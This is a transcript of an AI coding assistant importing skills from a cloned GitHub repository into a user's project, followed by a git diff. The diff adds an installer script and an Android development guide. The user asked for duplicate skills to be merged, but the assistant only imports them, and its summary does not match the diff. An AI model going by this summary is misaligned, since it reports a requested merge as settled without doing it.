+https://github.com/MiniMax-AI/skills.git + +From this git clone and review all code. +1. You will detect the skill that similar or duplicate between this git and current skill. (Ex. frontend-dev and website-creator) +2. For skill that duplicates, You will merge them. use the skill from the git as base because it is better then the skill I build in this project. +3. For skill that don’t duplicate. You will import those skill to this project. +4. update the install script for all new and updated skill. + +--- + +## ASSISTANT + +I'll start by cloning the GitHub repository and examining both codebases to identify duplicates and new skills. + +--- + +## ASSISTANT + +I can see the cloned repo has 12 skills while the current project has 10 skills. Let me delegate to explore agents to analyze both codebases for duplicates. + +--- + +## ASSISTANT + +Let me wait for the background task results and examine the fullstack-dev skill to understand the complete picture: + +--- + +## ASSISTANT + +Based on my analysis, here's what I found: + +**Cloned repo skills:** +- android-native-dev, frontend-dev, fullstack-dev, gif-sticker-maker, ios-application-dev, minimax-docx, minimax-multimodal-toolkit, minimax-pdf, minimax-xlsx, pptx-generator, shader-dev + +**Current project skills:** +- easypanel-deploy, gitea-sync, seo-analyzers, seo-context, seo-data, seo-multi-channel, shodh-memory, skill-creator, umami, website-creator + +**Your example mentioned "frontend-dev and website-creater" as duplicates.** These overlap in that both create websites, but serve different purposes: +- `frontend-dev`: Visual design, animations, React/Next.js landing pages +- `website-creator`: Astro, PDPA compliance, Thai market, legal pages + +Since you specified using the cloned repo as base for duplicates, I'll: +1. Import `frontend-dev` (the cloned version is more comprehensive for UI/UX) +2. Import all NEW skills from cloned repo +3. Keep current project's unique skills (easypanel-deploy, gitea-sync, seo-*, umami, shodh-memory) + +Let me now import all the new skills and update the install script: + +--- + +## USER + + +[BACKGROUND TASK COMPLETED] +**ID:** `bg_b20380b1` +**Description:** Analyze current project skills +**Duration:** 45s + +**1 task still in progress.** You WILL be notified when ALL complete. +Do NOT poll - continue productive work. + +Use `background_output(task_id="bg_b20380b1")` to retrieve this result when ready. + + + +--- + +## USER + + +[ALL BACKGROUND TASKS COMPLETE] + +**Completed:** +- `bg_b20380b1`: Analyze current project skills +- `bg_9c6ad565`: Analyze cloned skills + +Use `background_output(task_id="")` to retrieve each result. + + + +--- + +## ASSISTANT + +Let me proceed with importing all the new skills from the cloned repo in parallel: + +--- + +## ASSISTANT + +All skills copied. Now let me verify and update the install script: + +--- + +## ASSISTANT + +The install script auto-discovers skills - no update needed. But I need to: +1. Check if any new skills have `.env.example` that need to be merged into the project's `.env.example` +2. Add any `.env` files to gitignore + +--- + +## ASSISTANT + +The frontend-dev skill uses `MINIMAX_API_KEY` which isn't in our current `.env.example`. Let me add it: + +--- + +## ASSISTANT + +Now let me update the todo list and verify everything is properly set up: + +--- + +## ASSISTANT + +All 21 skills have proper SKILL.md. Let me finalize by checking the README and updating if needed: + +--- + +## ASSISTANT + +Done! Here's the summary: + +## Skills Imported from GitHub + +**11 new skills added:** +- `android-native-dev` - Android native development (Kotlin/Compose) +- `frontend-dev` - Premium UI design, animations, React/Next.js (uses MiniMax API) +- `fullstack-dev` - Backend architecture, API design, auth patterns +- `gif-sticker-maker` - Animated GIF creation with AI +- `ios-application-dev` - iOS UIKit/SwiftUI development +- `minimax-docx` - Word document creation/editing (OpenXML SDK) +- `minimax-multimodal-toolkit` - Multi-modal AI tools +- `minimax-pdf` - Professional PDF creation +- `minimax-xlsx` - Excel spreadsheet creation/analysis +- `pptx-generator` - PowerPoint presentation generation +- `shader-dev` - GLSL shader development + +**Your existing unique skills (kept):** +- `easypanel-deploy`, `gitea-sync`, `seo-*`, `umami`, `shodh-memory`, `skill-creator`, `website-creator` + +## Duplicate Analysis + +Your example mentioned `frontend-dev` and `website-creator` as duplicates. They overlap in website creation but serve different purposes: +- **`frontend-dev`**: Visual design, cinematic animations, React/Next.js, landing pages with AI-generated media +- **`website-creator`**: Astro-based, PDPA compliance, Thai market, legal pages, Easypanel deployment + +Since you specified using the cloned repo as base, `frontend-dev` is now the primary website skill. + +## Updated + +1. **`.env.example`**: Added `MINIMAX_API_KEY` and `MINIMAX_API_BASE` for frontend-dev skill +2. **`install-skills.sh`**: Already auto-discovers skills - no changes needed + +## Total: 21 skills now available + +Run `./scripts/install-skills.sh` to install all skills with the updated credentials. + +--- diff --git a/AGENTS.md b/AGENTS.md index 08915ee..8e600fd 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -143,7 +143,7 @@ description: Brief description. Use when user wants to [action]. - Check `Content-Type` header — binary image OR JSON with base64 ### Credential Safety -- Chutes API: `CHUTES_API_TOKEN` environment variable +- MiniMax API: `MINIMAX_API_KEY` environment variable - Gitea: `GITEA_API_TOKEN`, `GITEA_USERNAME`, `GITEA_URL` - Easypanel: `EASYPANEL_USERNAME`, `EASYPANEL_PASSWORD` (auto-generates session token) - All loaded from `.env` (gitignored) @@ -219,11 +219,11 @@ python3 skills/website-creator/scripts/migrate_existing_website.py \ ### Binary Response Handling - Check `Content-Type` header - API may return raw binary OR JSON with base64 -### Chutes API -- All image skills use `CHUTES_API_TOKEN` environment variable +### MiniMax API +- TTS, Music, Video, Image generation use `MINIMAX_API_KEY` environment variable ### Skill Categories -- **Full implementation:** gitea-sync, easypanel-deploy, website-creator, image-* +- **Full implementation:** gitea-sync, easypanel-deploy, thai-frontend-dev, minimax-* - **Docs-only:** None (all skills now have scripts) ## COMMANDS diff --git a/scripts/install-openclaw-skills.sh b/scripts/install-openclaw-skills.sh new file mode 100755 index 0000000..909e247 --- /dev/null +++ b/scripts/install-openclaw-skills.sh @@ -0,0 +1,158 @@ +#!/bin/bash +set -e + +REPO_ROOT="$(cd "$(dirname "$0")/.." && pwd)" +SKILLS_DIR="${REPO_ROOT}/skills" + +INFO='\033[0;34m' +SUCCESS='\033[0;32m' +WARNING='\033[1;33m' +ERROR='\033[0;31m' +NC='\033[0m' + +detect_os() { + case "$(uname -s)" in + Linux*) echo "linux" ;; + Darwin*) echo "mac" ;; + CYGWIN*|MINGW*|MSYS*) echo "windows" ;; + *) echo "unknown" ;; + esac +} + +find_openclaw_folders() { + local os="$1" + local folders=() + case "$os" in + linux|mac) + [ -d "$HOME/.openclaw/skills" ] && folders+=("$HOME/.openclaw/skills") + [ -d "$HOME/.local/share/openclaw/skills" ] && folders+=("$HOME/.local/share/openclaw/skills") + for ssh_folder in "$HOME"/*; do + [ -d "$ssh_folder" ] || continue + if [ -d "$ssh_folder/.openclaw/skills" ]; then + folders+=("$ssh_folder/.openclaw/skills") + fi + done + ;; + windows) + for user_dir in /c/Users/* /d/Users/* /e/Users/*; do + [ -d "$user_dir/.openclaw/skills" ] && folders+=("$user_dir/.openclaw/skills") + done + for profile_dir in /c/Users/* /d/Users/*; do + [ -d "$profile_dir" ] || continue + for ssh_folder in "$profile_dir"/*; do + [ -d "$ssh_folder" ] || continue + if [ -d "$ssh_folder/.openclaw/skills" ]; then + folders+=("$ssh_folder/.openclaw/skills") + fi + done + done + ;; + esac + printf '%s\n' "${folders[@]}" +} + +find_opencode_folders() { + local os="$1" + local folders=() + case "$os" in + linux|mac) + [ -d "$HOME/.config/opencode/skills" ] && folders+=("$HOME/.config/opencode/skills") + ;; + windows) + [ -d "C:/Users/${USERNAME}/.config/opencode/skills" ] && folders+=("C:/Users/${USERNAME}/.config/opencode/skills") + ;; + esac + printf '%s\n' "${folders[@]}" +} + +install_all_to_folder() { + local target_dir="$1" + local count=0 + mkdir -p "$target_dir" + for skill_dir in "$SKILLS_DIR"/*/; do + [ -d "$skill_dir" ] || continue + skill_name=$(basename "$skill_dir") + if [ -f "$skill_dir/SKILL.md" ]; then + [ -d "${target_dir}/${skill_name}" ] && rm -rf "${target_dir}/${skill_name}" + cp -r "$skill_dir" "${target_dir}/${skill_name}" + count=$((count + 1)) + fi + done + echo -e "${SUCCESS}[OK]${NC} Installed $count skills to ${target_dir}" +} + +get_skill_count() { + local count=0 + for dir in "$SKILLS_DIR"/*/; do + [ -d "$dir" ] && [ -f "$dir/SKILL.md" ] && count=$((count + 1)) + done + echo "$count" +} + +main() { + echo "==========================================" + echo "OpenClaw Skills Installer" + echo "==========================================" + + local os=$(detect_os) + echo -e "${INFO}[INFO]${NC} Detected OS: $os" + echo -e "${INFO}[INFO]${NC} Repository: $REPO_ROOT" + echo -e "${INFO}[INFO]${NC} Skills folder: $SKILLS_DIR" + + local skill_count=$(get_skill_count) + echo -e "${INFO}[INFO]${NC} Found $skill_count skills to install" + echo "" + + local openclaw_folders=() + while IFS= read -r folder; do + [ -n "$folder" ] && openclaw_folders+=("$folder") + done < <(find_openclaw_folders "$os") + + local opencode_folders=() + while IFS= read -r folder; do + [ -n "$folder" ] && opencode_folders+=("$folder") + done < <(find_opencode_folders "$os") + + if [ ${#openclaw_folders[@]} -eq 0 ] && [ ${#opencode_folders[@]} -eq 0 ]; then + echo -e "${WARNING}[WARN]${NC} No OpenClaw or OpenCode folders found." + echo -e "${INFO}[INFO]${NC} Creating: $HOME/.openclaw/skills" + mkdir -p "$HOME/.openclaw/skills" + openclaw_folders+=("$HOME/.openclaw/skills") + fi + + echo "" + if [ ${#openclaw_folders[@]} -gt 0 ]; then + echo -e "${INFO}[INFO]${NC} OpenClaw folders:" + for folder in "${openclaw_folders[@]}"; do echo " - $folder"; done + fi + + if [ ${#opencode_folders[@]} -gt 0 ]; then + echo -e "${INFO}[INFO]${NC} OpenCode folders:" + for folder in "${opencode_folders[@]}"; do echo " - $folder"; done + fi + + echo "" + echo "==========================================" + echo "Installation" + echo "==========================================" + + local total=0 + for folder in "${openclaw_folders[@]}"; do + echo -e "${INFO}[INFO]${NC} OpenClaw: $folder" + install_all_to_folder "$folder" + total=$((total + 1)) + done + + for folder in "${opencode_folders[@]}"; do + echo -e "${INFO}[INFO]${NC} OpenCode: $folder" + install_all_to_folder "$folder" + total=$((total + 1)) + done + + echo "" + echo "==========================================" + echo -e "${SUCCESS}[OK]${NC} Done! Installed to $total locations." + echo "==========================================" +} + +main "$@" diff --git a/skills/.DS_Store b/skills/.DS_Store index 81eb8a6f106ecf6fbd895944d76a82cfde1eda45..172f1a413b67a0d0bf69a09e0ff778062381b9f5 100644 GIT binary patch delta 238 zcmZoMXffDe!&EQGP{NSGkjRk9pv#cPP{feWkOve=1(GR1krW`SETuR(Cn-NahXDwP zP@a=+7@VA+TL4ndz#zK=NZ{7R1GgnN-(~VgCJ|-aYT-&Jzhe?7M%`u==JPC@**X65 F0|4ahGn4=T delta 220 zcmZoMXffDe!&J}DP|lFbki<~TkjYR2Wa%;_GZX>oL?ADpp(v#|IVUMUKZgMb2q?`- zHw;eB&n*BcWnhrq0VD|M$jx_|%*ZSvPe9q^e@x0-L1Z&K$6tN`)21;6 diff --git a/skills/android-native-dev/SKILL.md b/skills/android-native-dev/SKILL.md new file mode 100644 index 0000000..a42a363 --- /dev/null +++ b/skills/android-native-dev/SKILL.md @@ -0,0 +1,782 @@ +--- +name: android-native-dev +description: Android native application development and UI design guide. Covers Material Design 3, Kotlin/Compose development, project configuration, accessibility, and build troubleshooting. Read this before Android native application development. +license: MIT +metadata: + version: "1.0.0" + category: mobile + sources: + - Material Design 3 Guidelines (material.io) + - Android Developer Documentation (developer.android.com) + - Google Play Quality Guidelines + - WCAG Accessibility Guidelines +--- + +## 1. Project Scenario Assessment + +Before starting development, assess the current project state: + +| Scenario | Characteristics | Approach | +|----------|-----------------|----------| +| **Empty Directory** | No files present | Full initialization required, including Gradle Wrapper | +| **Has Gradle Wrapper** | `gradlew` and `gradle/wrapper/` exist | Use `./gradlew` directly for builds | +| **Android Studio Project** | Complete project structure, may lack wrapper | Check wrapper, run `gradle wrapper` if needed | +| **Incomplete Project** | Partial files present | Check missing files, complete configuration | + +**Key Principles**: +- Before writing business logic, ensure `./gradlew assembleDebug` succeeds +- If `gradle.properties` is missing, create it first and configure AndroidX + +### 1.1 Required Files Checklist + +``` +MyApp/ +├── gradle.properties # Configure AndroidX and other settings +├── settings.gradle.kts +├── build.gradle.kts # Root level +├── gradle/wrapper/ +│ └── gradle-wrapper.properties +├── app/ +│ ├── build.gradle.kts # Module level +│ └── src/main/ +│ ├── AndroidManifest.xml +│ ├── java/com/example/myapp/ +│ │ └── MainActivity.kt +│ └── res/ +│ ├── values/ +│ │ ├── strings.xml +│ │ ├── colors.xml +│ │ └── themes.xml +│ └── mipmap-*/ # App icons +``` + +--- + +## 2. Project Configuration + +### 2.1 gradle.properties + +```properties +# Required configuration +android.useAndroidX=true +android.enableJetifier=true + +# Build optimization +org.gradle.parallel=true +kotlin.code.style=official + +# JVM memory settings (adjust based on project size) +# Small projects: 2048m, Medium: 4096m, Large: 8192m+ +# org.gradle.jvmargs=-Xmx4096m -Dfile.encoding=UTF-8 +``` + +> **Note**: If you encounter `OutOfMemoryError` during build, increase `-Xmx` value. Large projects with many dependencies may require 8GB or more. + +### 2.2 Dependency Declaration Standards + +```kotlin +dependencies { + // Use BOM to manage Compose versions + implementation(platform("androidx.compose:compose-bom:2024.02.00")) + implementation("androidx.compose.ui:ui") + implementation("androidx.compose.material3:material3") + + // Activity & ViewModel + implementation("androidx.activity:activity-compose:1.8.2") + implementation("androidx.lifecycle:lifecycle-viewmodel-compose:2.7.0") +} +``` + +### 2.3 Build Variants & Product Flavors + +Product Flavors allow you to create different versions of your app (e.g., free/paid, dev/staging/prod). + +**Configuration in app/build.gradle.kts**: + +```kotlin +android { + // Define flavor dimensions + flavorDimensions += "environment" + + productFlavors { + create("dev") { + dimension = "environment" + applicationIdSuffix = ".dev" + versionNameSuffix = "-dev" + + // Different config values per flavor + buildConfigField("String", "API_BASE_URL", "\"https://dev-api.example.com\"") + buildConfigField("Boolean", "ENABLE_LOGGING", "true") + + // Different resources + resValue("string", "app_name", "MyApp Dev") + } + + create("staging") { + dimension = "environment" + applicationIdSuffix = ".staging" + versionNameSuffix = "-staging" + + buildConfigField("String", "API_BASE_URL", "\"https://staging-api.example.com\"") + buildConfigField("Boolean", "ENABLE_LOGGING", "true") + resValue("string", "app_name", "MyApp Staging") + } + + create("prod") { + dimension = "environment" + // No suffix for production + + buildConfigField("String", "API_BASE_URL", "\"https://api.example.com\"") + buildConfigField("Boolean", "ENABLE_LOGGING", "false") + resValue("string", "app_name", "MyApp") + } + } + + buildTypes { + debug { + isDebuggable = true + isMinifyEnabled = false + } + release { + isDebuggable = false + isMinifyEnabled = true + proguardFiles(getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro") + } + } +} +``` + +**Build Variant Naming**: `{flavor}{BuildType}` → e.g., `devDebug`, `prodRelease` + +**Gradle Build Commands**: + +```bash +# List all available build variants +./gradlew tasks --group="build" + +# Build specific variant (flavor + buildType) +./gradlew assembleDevDebug # Dev flavor, Debug build +./gradlew assembleStagingDebug # Staging flavor, Debug build +./gradlew assembleProdRelease # Prod flavor, Release build + +# Build all variants of a specific flavor +./gradlew assembleDev # All Dev variants (debug + release) +./gradlew assembleProd # All Prod variants + +# Build all variants of a specific build type +./gradlew assembleDebug # All flavors, Debug build +./gradlew assembleRelease # All flavors, Release build + +# Install specific variant to device +./gradlew installDevDebug +./gradlew installProdRelease + +# Build and install in one command +./gradlew installDevDebug && adb shell am start -n com.example.myapp.dev/.MainActivity +``` + +**Access BuildConfig in Code**: + +> **Note**: Starting from AGP 8.0, `BuildConfig` is no longer generated by default. You must explicitly enable it in your `build.gradle.kts`: +> ```kotlin +> android { +> buildFeatures { +> buildConfig = true +> } +> } +> ``` + +```kotlin +// Use build config values in your code +val apiUrl = BuildConfig.API_BASE_URL +val isLoggingEnabled = BuildConfig.ENABLE_LOGGING + +if (BuildConfig.DEBUG) { + // Debug-only code +} +``` + +**Flavor-Specific Source Sets**: + +``` +app/src/ +├── main/ # Shared code for all flavors +├── dev/ # Dev-only code and resources +│ ├── java/ +│ └── res/ +├── staging/ # Staging-only code and resources +├── prod/ # Prod-only code and resources +├── debug/ # Debug build type code +└── release/ # Release build type code +``` + +**Multiple Flavor Dimensions** (e.g., environment + tier): + +```kotlin +android { + flavorDimensions += listOf("environment", "tier") + + productFlavors { + create("dev") { dimension = "environment" } + create("prod") { dimension = "environment" } + + create("free") { dimension = "tier" } + create("paid") { dimension = "tier" } + } +} +// Results in: devFreeDebug, devPaidDebug, prodFreeRelease, etc. +``` + +--- + +## 3. Kotlin Development Standards + +### 3.1 Naming Conventions + +| Type | Convention | Example | +|------|------------|---------| +| Class/Interface | PascalCase | `UserRepository`, `MainActivity` | +| Function/Variable | camelCase | `getUserName()`, `isLoading` | +| Constant | SCREAMING_SNAKE | `MAX_RETRY_COUNT` | +| Package | lowercase | `com.example.myapp` | +| Composable | PascalCase | `@Composable fun UserCard()` | + +### 3.2 Code Standards (Important) + +**Null Safety**: +```kotlin +// ❌ Avoid: Non-null assertion !! (may crash) +val name = user!!.name + +// ✅ Recommended: Safe call + default value +val name = user?.name ?: "Unknown" + +// ✅ Recommended: let handling +user?.let { processUser(it) } +``` + +**Exception Handling**: +```kotlin +// ❌ Avoid: Random try-catch in business layer swallowing exceptions +fun loadData() { + try { + val data = api.fetch() + } catch (e: Exception) { + // Swallowing exception, hard to debug + } +} + +// ✅ Recommended: Let exceptions propagate, handle at appropriate layer +suspend fun loadData(): Result { + return try { + Result.success(api.fetch()) + } catch (e: Exception) { + Result.failure(e) // Wrap and return, let caller decide handling + } +} + +// ✅ Recommended: Unified handling in ViewModel +viewModelScope.launch { + runCatching { repository.loadData() } + .onSuccess { _uiState.value = UiState.Success(it) } + .onFailure { _uiState.value = UiState.Error(it.message) } +} +``` + +### 3.3 Threading & Coroutines (Critical) + +**Thread Selection Principles**: + +| Operation Type | Thread | Description | +|----------------|--------|-------------| +| UI Updates | `Dispatchers.Main` | Update View, State, LiveData | +| Network Requests | `Dispatchers.IO` | HTTP calls, API requests | +| File I/O | `Dispatchers.IO` | Local storage, database operations | +| Compute Intensive | `Dispatchers.Default` | JSON parsing, sorting, encryption | + +**Correct Usage**: +```kotlin +// In ViewModel +viewModelScope.launch { + // Default Main thread, can update UI State + _uiState.value = UiState.Loading + + // Switch to IO thread for network request + val result = withContext(Dispatchers.IO) { + repository.fetchData() + } + + // Automatically returns to Main thread, update UI + _uiState.value = UiState.Success(result) +} + +// In Repository (suspend functions should be main-safe) +suspend fun fetchData(): Data = withContext(Dispatchers.IO) { + api.getData() +} +``` + +**Common Mistakes**: +```kotlin +// ❌ Wrong: Updating UI on IO thread +viewModelScope.launch(Dispatchers.IO) { + val data = api.fetch() + _uiState.value = data // Crash or warning! +} + +// ❌ Wrong: Executing time-consuming operation on Main thread +viewModelScope.launch { + val data = api.fetch() // Blocking main thread! ANR +} + +// ✅ Correct: Fetch on IO, update on Main +viewModelScope.launch { + val data = withContext(Dispatchers.IO) { api.fetch() } + _uiState.value = data +} +``` + +### 3.4 Visibility Rules + +```kotlin +// Default is public, declare explicitly when needed +class UserRepository { // public + private val cache = mutableMapOf() // Visible only within class + internal fun clearCache() {} // Visible only within module +} + +// data class properties are public by default, be careful when used across modules +data class User( + val id: String, // public + val name: String +) +``` + +### 3.5 Common Syntax Pitfalls + +```kotlin +// ❌ Wrong: Accessing uninitialized lateinit +class MyViewModel : ViewModel() { + lateinit var data: String + fun process() = data.length // May crash +} + +// ✅ Correct: Use nullable or default value +class MyViewModel : ViewModel() { + var data: String? = null + fun process() = data?.length ?: 0 +} + +// ❌ Wrong: Using return in lambda +list.forEach { item -> + if (item.isEmpty()) return // Returns from outer function! +} + +// ✅ Correct: Use return@forEach +list.forEach { item -> + if (item.isEmpty()) return@forEach +} +``` + +### 3.6 Server Response Data Class Fields Must Be Nullable + +```kotlin +// ❌ Wrong: Fields declared as non-null (server may not return them) +data class UserResponse( + val id: String = "", + val name: String = "", + val avatar: String = "" +) + +// ✅ Correct: All fields declared as nullable +data class UserResponse( + @SerializedName("id") + val id: String? = null, + @SerializedName("name") + val name: String? = null, + @SerializedName("avatar") + val avatar: String? = null +) +``` + +### 3.7 Lifecycle Resource Management + +```kotlin +// ❌ Wrong: Only adding Observer, not removing +class MyView : View { + override fun onAttachedToWindow() { + super.onAttachedToWindow() + activity?.lifecycle?.addObserver(this) + } + // Memory leak! +} + +// ✅ Correct: Paired add and remove +class MyView : View { + override fun onAttachedToWindow() { + super.onAttachedToWindow() + activity?.lifecycle?.addObserver(this) + } + + override fun onDetachedFromWindow() { + activity?.lifecycle?.removeObserver(this) + super.onDetachedFromWindow() + } +} +``` + +### 3.8 Logging Level Usage + +```kotlin +import android.util.Log + +// Info: Key checkpoints in normal flow +Log.i(TAG, "loadData: started, userId = $userId") + +// Warning: Abnormal but recoverable situations +Log.w(TAG, "loadData: cache miss, fallback to network") + +// Error: Failure/error situations +Log.e(TAG, "loadData failed: ${error.message}") +``` + +| Level | Use Case | +|-------|----------| +| `i` (Info) | Normal flow, method entry, key parameters | +| `w` (Warning) | Recoverable exceptions, fallback handling, null returns | +| `e` (Error) | Request failures, caught exceptions, unrecoverable errors | + +--- + +## 4. Jetpack Compose Standards + +### 4.1 @Composable Context Rules + +```kotlin +// ❌ Wrong: Calling Composable from non-Composable function +fun showError(message: String) { + Text(message) // Compile error! +} + +// ✅ Correct: Mark as @Composable +@Composable +fun ErrorMessage(message: String) { + Text(message) +} + +// ❌ Wrong: Using suspend outside LaunchedEffect +@Composable +fun MyScreen() { + val data = fetchData() // Error! +} + +// ✅ Correct: Use LaunchedEffect +@Composable +fun MyScreen() { + var data by remember { mutableStateOf(null) } + LaunchedEffect(Unit) { + data = fetchData() + } +} +``` + +### 4.2 State Management + +```kotlin +// Basic State +var count by remember { mutableStateOf(0) } + +// Derived State (avoid redundant computation) +val isEven by remember { derivedStateOf { count % 2 == 0 } } + +// Persist across recomposition (e.g., scroll position) +val scrollState = rememberScrollState() + +// State in ViewModel +class MyViewModel : ViewModel() { + private val _uiState = MutableStateFlow(UiState()) + val uiState: StateFlow = _uiState.asStateFlow() +} +``` + +### 4.3 Common Compose Mistakes + +```kotlin +// ❌ Wrong: Creating objects in Composable (created on every recomposition) +@Composable +fun MyScreen() { + val viewModel = MyViewModel() // Wrong! +} + +// ✅ Correct: Use viewModel() or remember +@Composable +fun MyScreen(viewModel: MyViewModel = viewModel()) { + // ... +} +``` + +--- + +## 5. Resources & Icons + +### 5.1 App Icon Requirements + +Must provide multi-resolution icons: + +| Directory | Size | Purpose | +|-----------|------|---------| +| mipmap-mdpi | 48x48 | Baseline | +| mipmap-hdpi | 72x72 | 1.5x | +| mipmap-xhdpi | 96x96 | 2x | +| mipmap-xxhdpi | 144x144 | 3x | +| mipmap-xxxhdpi | 192x192 | 4x | + +Recommended: Use Adaptive Icon (Android 8+): + +```xml + + + + + +``` + +### 5.2 Resource Naming Conventions + +| Type | Prefix | Example | +|------|--------|---------| +| Layout | layout_ | `layout_main.xml` | +| Image | ic_, img_, bg_ | `ic_user.png` | +| Color | color_ | `color_primary` | +| String | - | `app_name`, `btn_submit` | + +### 5.3 Avoid Android Reserved Names (Important) + +Variable names, resource IDs, colors, icons, and XML elements **must not** use Android reserved words or system resource names. Using reserved names causes build errors or resource conflicts. + +**Common Reserved Names to Avoid**: + +| Category | Reserved Names (Do NOT Use) | +|----------|----------------------------| +| Colors | `background`, `foreground`, `transparent`, `white`, `black` | +| Icons/Drawables | `icon`, `logo`, `image`, `drawable` | +| Views | `view`, `text`, `button`, `layout`, `container` | +| Attributes | `id`, `name`, `type`, `style`, `theme`, `color` | +| System | `app`, `android`, `content`, `data`, `action` | + +**Examples**: + +```xml + +#FFFFFF +#000000 + + +#FFFFFF +#000000 +``` + +```kotlin +// ❌ Wrong: Variable names conflict with system +val icon = R.drawable.my_icon +val background = Color.White + +// ✅ Correct: Use descriptive names +val appIcon = R.drawable.my_icon +val screenBackground = Color.White +``` + +```xml + + + + + +``` + +--- + +## 6. Build Error Diagnosis & Fixes + +### 6.1 Common Error Quick Reference + +| Error Keyword | Cause | Fix | +|---------------|-------|-----| +| `Unresolved reference` | Missing import or undefined | Check imports, verify dependencies | +| `Type mismatch` | Type incompatibility | Check parameter types, add conversion | +| `Cannot access` | Visibility issue | Check public/private/internal | +| `@Composable invocations` | Composable context error | Ensure caller is also @Composable | +| `Duplicate class` | Dependency conflict | Use `./gradlew dependencies` to investigate | +| `AAPT: error` | Resource file error | Check XML syntax and resource references | + +### 6.2 Fix Best Practices + +1. **Read the complete error message first**: Locate file and line number +2. **Check recent changes**: Problems usually in latest modifications +3. **Clean Build**: `./gradlew clean assembleDebug` +4. **Check dependency versions**: Version conflicts are common causes +5. **Refresh dependencies if needed**: Clear cache and rebuild + +### 6.3 Debugging Commands + +```bash +# Clean and build +./gradlew clean assembleDebug + +# View dependency tree (investigate conflicts) +./gradlew :app:dependencies + +# View detailed errors +./gradlew assembleDebug --stacktrace + +# Refresh dependencies +./gradlew --refresh-dependencies +``` + +--- + +## 7. Material Design 3 Guidelines + +Review Android UI files for compliance with Material Design 3 Guidelines and Android best practices. + +### Design Philosophy + +#### M3 Core Principles + +| Principle | Description | +|-----------|-------------| +| **Personal** | Dynamic color based on user preferences and wallpaper | +| **Adaptive** | Responsive across all screen sizes and form factors | +| **Expressive** | Bold colors and typography with personality | +| **Accessible** | Inclusive design for all users | + +#### M3 Expressive (Latest) + +The latest evolution adds emotion-driven UX through: +- Vibrant, dynamic colors +- Intuitive motion physics +- Adaptive components +- Flexible typography +- Contrasting shapes (35 new shape options) + +### App Style Selection + +**Critical Decision**: Match visual style to app category and target audience. + +| App Category | Visual Style | Key Characteristics | +|--------------|--------------|---------------------| +| Utility/Tool | Minimalist | Clean, efficient, neutral colors | +| Finance/Banking | Professional Trust | Conservative colors, security-focused | +| Health/Wellness | Calm & Natural | Soft colors, organic shapes | +| Kids (3-5) | Playful Simple | Bright colors, large targets (56dp+) | +| Kids (6-12) | Fun & Engaging | Vibrant, gamified feedback | +| Social/Entertainment | Expressive | Brand-driven, gesture-rich | +| Productivity | Clean & Focused | Minimal, high contrast | +| E-commerce | Conversion-focused | Clear CTAs, scannable | + +See [Design Style Guide](references/design-style-guide.md) for detailed style profiles. + +### Quick Reference: Key Specifications + +#### Color Contrast Requirements + +| Element | Minimum Ratio | +|---------|---------------| +| Body text | **4.5:1** | +| Large text (18sp+) | **3:1** | +| UI components | **3:1** | + +#### Touch Targets + +| Type | Size | +|------|------| +| Minimum | 48 × 48dp | +| Recommended (primary actions) | 56 × 56dp | +| Kids apps | 56dp+ | +| Spacing between targets | 8dp minimum | + +#### 8dp Grid System + +| Token | Value | Usage | +|-------|-------|-------| +| xs | 4dp | Icon padding | +| sm | 8dp | Tight spacing | +| md | 16dp | Default padding | +| lg | 24dp | Section spacing | +| xl | 32dp | Large gaps | +| xxl | 48dp | Screen margins | + +#### Typography Scale (Summary) + +| Category | Sizes | +|----------|-------| +| Display | 57sp, 45sp, 36sp | +| Headline | 32sp, 28sp, 24sp | +| Title | 22sp, 16sp, 14sp | +| Body | 16sp, 14sp, 12sp | +| Label | 14sp, 12sp, 11sp | + +#### Animation Duration + +| Type | Duration | +|------|----------| +| Micro (ripples) | 50-100ms | +| Short (simple) | 100-200ms | +| Medium (expand/collapse) | 200-300ms | +| Long (complex) | 300-500ms | + +#### Component Dimensions + +| Component | Height | Min Width | +|-----------|--------|-----------| +| Button | 40dp | 64dp | +| FAB | 56dp | 56dp | +| Text Field | 56dp | 280dp | +| App Bar | 64dp | - | +| Bottom Nav | 80dp | - | + +### Anti-Patterns (Must Avoid) + +#### UI Anti-Patterns +- More than 5 bottom navigation items +- Multiple FABs on same screen +- Touch targets smaller than 48dp +- Inconsistent spacing (non-8dp multiples) +- Missing dark theme support +- Text on colored backgrounds without contrast check + +#### Performance Anti-Patterns +- Startup time > 2 seconds without progress indicator +- Frame rate < 60 FPS (> 16ms per frame) +- Crash rate > 1.09% (Google Play threshold) +- ANR rate > 0.47% (Google Play threshold) + +#### Accessibility Anti-Patterns +- Missing contentDescription on interactive elements +- Element type in labels (e.g., "Save button" instead of "Save") +- Complex gestures in kids apps +- Text-only buttons for non-readers + +### Review Checklist + +- [ ] 8dp spacing grid compliance +- [ ] 48dp minimum touch targets +- [ ] Proper typography scale usage +- [ ] Color contrast compliance (4.5:1+ for text) +- [ ] Dark theme support +- [ ] contentDescription on all interactive elements +- [ ] Startup < 2 seconds or shows progress +- [ ] Visual style matches app category + +### Design References + +| Topic | Reference | +|-------|-----------| +| Colors, Typography, Spacing, Shapes | [Visual Design](references/visual-design.md) | +| Animation & Transitions | [Motion System](references/motion-system.md) | +| Accessibility Guidelines | [Accessibility](references/accessibility.md) | +| Large Screens & Foldables | [Adaptive Screens](references/adaptive-screens.md) | +| Android Vitals & Performance | [Performance & Stability](references/performance-stability.md) | +| Privacy & Security | [Privacy & Security](references/privacy-security.md) | +| Audio, Video, Notifications | [Functional Requirements](references/functional-requirements.md) | +| App Style by Category | [Design Style Guide](references/design-style-guide.md) | diff --git a/skills/android-native-dev/references/accessibility.md b/skills/android-native-dev/references/accessibility.md new file mode 100644 index 0000000..e1eba6b --- /dev/null +++ b/skills/android-native-dev/references/accessibility.md @@ -0,0 +1,209 @@ +# Accessibility Guidelines + +Comprehensive accessibility requirements for Android applications. + +## Core Requirements + +### Minimum Standards + +| Requirement | Specification | +|-------------|---------------| +| Color contrast (text) | 4.5:1 minimum | +| Color contrast (large text) | 3:1 minimum | +| Color contrast (UI components) | 3:1 minimum | +| Touch targets | 48 × 48dp minimum | +| Content descriptions | All interactive elements | +| Focus indicators | Clearly visible | +| Screen reader support | Proper semantics | + +## Content Labels + +### contentDescription + +Use for non-text interactive elements. + +**When to use:** +- ImageView, ImageButton +- CheckBox, Switch (state description) +- Custom drawable views +- Icons that convey meaning + +**When NOT to use:** +- TextView (uses text content automatically) +- Decorative images (set to null) +- Elements with labelFor relationship + +### android:hint + +Use for editable text fields to show placeholder text. + +**Important**: Don't use contentDescription on EditText—it interferes with accessibility services. + +### android:labelFor + +Link labels to 